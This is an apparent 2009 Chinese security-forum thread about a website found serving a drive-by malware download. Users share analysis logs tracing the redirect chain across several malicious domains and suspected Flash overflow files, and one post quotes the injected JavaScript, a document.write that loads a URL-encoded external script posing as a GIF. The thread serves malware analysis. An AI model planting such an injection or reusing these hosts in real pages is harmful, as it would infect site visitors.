上网打开的第一个网页就挂马~~

江湖的fans

网站上抓下来的    KIS  报

一个JS

Hmilypojie

关于:hxxp://er12.com/pic/x.gif解密的日志(全体输出 -  25):

Level  5>http://jidoe.cn/x115/of.js
Level  4>http://jidoe.cn/x115/ytfl1.htm
Level  4>http://jidoe.cn/x115/ytfl.htm
Level  3>http://jidoe.cn/x115/dxxz.htm
Level  3>http://jidoe.cn/x115/yt.htm
Level  3>http://jidoe.cn/x115/td14.htm
Level  2>http://kenzo.9966.org/wwj/5.htm?1
Level  2>http://kenzo.9966.org/wwj/5.htm?1
Level  2>http://kenzo.9966.org/wwj/5.htm?1
Level  2>http://kenzo.9966.org/wwj/5.htm?1
Level  2>http://kenzo.9966.org/wwj/5.htm?1
Level  2>http://kenzo.9966.org/wwj/5.htm?1
Level  2>http://kenzo.9966.org/wwj/5.htm?1
Level  1>http://%65%72%31%32%2e%63%6f%6d/pic/x.gif
Level  1>http://er12.com/pic/x.gif
Level  1>http://kenzo.9966.org/wwj/5.htm?1
Level  1>http://js.tongji.linezing.com/1242668/tongji.js
Level  1>http://js.tongji.linezing.com/1242668/+_st_dest+
Level  1>http://jidoe.cn/x115/xx.html
Level  1>http://jidoe.cn/x115/yut.htm
Level  1>http://jidoe.cn/x115/of.htm
Level  1>http://jidoe.cn/x115/of.css
Level  1>http://jidoe.cn/x115/of1.css
Level  1>http://jidoe.cn/x115/of.js
Level  1>http://d.bgsew.com/xx/x115.css

日志由 Redoce2.0第34次修正版于 2009-8-26 Hmily 11:26:49 生成。

taiyangshenqi

杀软没报

zhen2zhen

没报啊。。汗，是真的马么？

luxiao200888

http://d.bgsew.com/xx/x115.css

饭特C

function check(){
if (form1.key.value ==""){
alert("关键词不能为空!");
return false;
}

return true;
}
document.write("<script src=http://%65%72%31%32%2E%63%6F%6D/pic/x.gif></script>")

一个脚本 好像是打开这个图片 http://%65%72%31%32%2E%63%6F%6D/pic/x.gif  我上传在线扫描 三个报了 http://virusscan.jotti.org/en/sc ... ba2815a1a9804c1b2a6

icebatw

原帖由 江湖的fans 于 2009-8-26 10:07 发表
网站上抓下来的    KIS  报

一个JS611003

难道说您也没用瑞星啊
或者说您上网都是用虚拟机
虚拟机里装的KIS？

IllusionWing

原始 - http://%65%72%31%32%2E%63%6F%6D/pic/x.gif
开始自动解析 - http://%65%72%31%32%2E%63%6F%6D/pic/x.gif
L1 - http://kenzo.9966.org/wwj/5.htm?1
L2 - http://jidoe.cn/x115/xx.html
L3 - http://jidoe.cn/x115/Td14.htm
L3 - http://jidoe.cn/x115/yt.htm
L3 - http://jidoe.cn/x115/dxxz.htm
L3 - http://jidoe.cn/x115/yut.htm
L4 - http://jidoe.cn/x115/14.js
L4 - http://jidoe.cn/x115/15.js
L4 - http://jidoe.cn/x115/16.js
L4 - http://jidoe.cn/x115/a.jpg
L4 - http://jidoe.cn/x115/b.jpg
L4 - http://jidoe.cn/x115/url.jpg
自动解析 - Auto XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
L4 - http://jidoe.cn/x115/c.jpg
L4 - http://jidoe.cn/x115/d.jpg
L4 - http://jidoe.cn/x115/e.jpg
L4 - http://jidoe.cn/x115/f.jpg
L4 - http://jidoe.cn/x115/091.js
自动解析 - Auto XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
L4 - http://jidoe.cn/x115/092.js
L4 - http://jidoe.cn/x115/ytfl.htm
L4 - http://jidoe.cn/x115/ytfl1.htm
L4 - http://jidoe.cn/x115/of.htm
关注 - http://d.bgsew.com/xx/x115.css
L5 - http://jidoe.cn/x115/s1;o2.click}
L5 - http://jidoe.cn/x115/y1.htm
L5 - http://jidoe.cn/x115/t2.htm
L5 - http://jidoe.cn/x115/of.js
自动解析 - Auto XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
L5 - http://jidoe.cn/x115/of1.css
L5 - http://jidoe.cn/x115/of.css
可能的Flash溢出 - http://jidoe.cn/x115/x1.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x3.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x4.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x2.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x5.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x7.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x9.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x10.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x8.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css
可能的Flash溢出 - http://jidoe.cn/x115/x11.swf
NATIVE AUTO XOR - 高度可疑 - http://d.bgsew.com/xx/x115.css

输出的对象 - http://d.bgsew.com/xx/x115.css

此分析日志由 Illusion Wing 使用 Astox v1 Build 1100 在 2009年8月26日14时39分16秒 生成。